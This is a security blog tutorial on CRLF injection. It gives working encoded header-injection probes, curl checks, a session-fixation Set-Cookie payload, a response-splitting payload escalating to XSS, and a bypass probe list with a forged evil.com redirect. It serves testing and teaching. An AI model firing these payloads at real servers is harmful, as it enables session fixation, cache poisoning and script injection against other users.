cd ../blog

CRLF Injection: Splitting Responses and Forging Headers

An unescaped carriage-return/line-feed in a header value lets an attacker inject headers, set cookies, and split the HTTP response. We cover encoding probes and a header-injection PoC.

CRLF injection abuses the fact that HTTP uses carriage-return + line-feed (\r\n) to separate headers. If user input lands in a response header without stripping those bytes, you can terminate the current header and inject your own — a new Set-Cookie, a cache directive, or (when you can inject two CRLFs) an entire second response body the browser will render.

Where it hides

The input must reach a response header, so look for any user-controlled value the server reflects into headers rather than the body:

  • Redirect Location headers built from a url/next/redirect parameter.
  • Set-Cookie values derived from input (a lang, theme, or tracking parameter saved to a cookie).
  • Custom headers echoing a request value (X-Request-Id, reflected Host, language headers).
  • Reverse proxies and CDNs that copy a parameter into a backend header.

A useful tell during recon is any 30x response whose Location clearly contains a value you supplied, or any Set-Cookie whose value tracks a request parameter — those reflections into the header block are exactly the sinks where an injected newline gains you a forged header line. Pull the raw response with curl -si rather than a browser, because the browser hides the header bytes that matter here.

The detection method is to inject an encoded CRLF followed by a marker header and check the response headers for it. URL-encode the CR and LF as %0d%0a:

GET /redirect?url=https://app.example.com/%0d%0aX-Injected:%20crlf-probe HTTP/1.1
Host: app.example.com

Then read the raw response headers — if X-Injected: crlf-probe appears as a real header line, the CRLF was honored:

curl -si "https://app.example.com/redirect?url=/%0d%0aX-Injected:%20crlf-probe" \
  | grep -i 'x-injected'

If the marker shows up as a header, injection is confirmed. When %0d%0a is filtered, rotate encodings — %0a alone (LF-only, accepted by some servers), double-encoding %250d%250a, or unicode/overlong variants — and watch which one produces a new header line.

Reproducing it

The cleanest repro is injecting a header with attacker-controlled effect. Set a cookie in the victim's browser via the response, which works even when the body is a redirect:

GET /redirect?url=/%0d%0aSet-Cookie:%20sessionFixation=attacker123;%20Path=/ HTTP/1.1
Host: app.example.com

Confirm the forged header lands:

curl -si "https://app.example.com/redirect?url=/%0d%0aSet-Cookie:%20pwn=1;%20Path=/" \
  | grep -i 'set-cookie'
# Set-Cookie: pwn=1; Path=/   == we control response headers

For full response splitting, inject two CRLFs to end the headers and start a body of your own, then declare a second response the proxy/browser may treat as the page content:

url=/%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2052%0d%0a%0d%0a<html><script>alert(document.domain)</script></html>

Decoded, that closes the original response and supplies a complete second one whose HTML the browser renders — escalating CRLF to reflected XSS on the trusted origin. The injected request is the proof when the alert fires.

A compact probe set to fire at any header-reflecting parameter:

%0d%0aX-Injected:%20probe
%0aX-Injected:%20probe
%E5%98%8A%E5%98%8DX-Injected:%20probe     (unicode CR/LF that some stacks decode)
%0d%0aSet-Cookie:%20pwn=1
%0d%0aLocation:%20https://evil.com

Going further

Header injection is a flexible primitive — demonstrate the strongest reachable effect:

  • Open-redirect via injected Location when you can append or override it.
  • Cache poisoning by injecting Cache-Control/Content-Type, then getting the split response stored and served to other users.
  • Session fixation via a forced Set-Cookie that pins a known session id before the victim authenticates.
  • Reflected XSS through a fully split second response, as shown above.

A practical recon habit is to take every parameter that ends up in a Location or Set-Cookie and inject %0d%0a + a marker header, then read the raw response headers for the marker — that single check separates a body reflection from a header-injection sink. Capture the injecting request, the raw response showing your forged header (or the split second response), and the resulting effect. Restrict testing to authorized targets and use benign markers and destinations you control.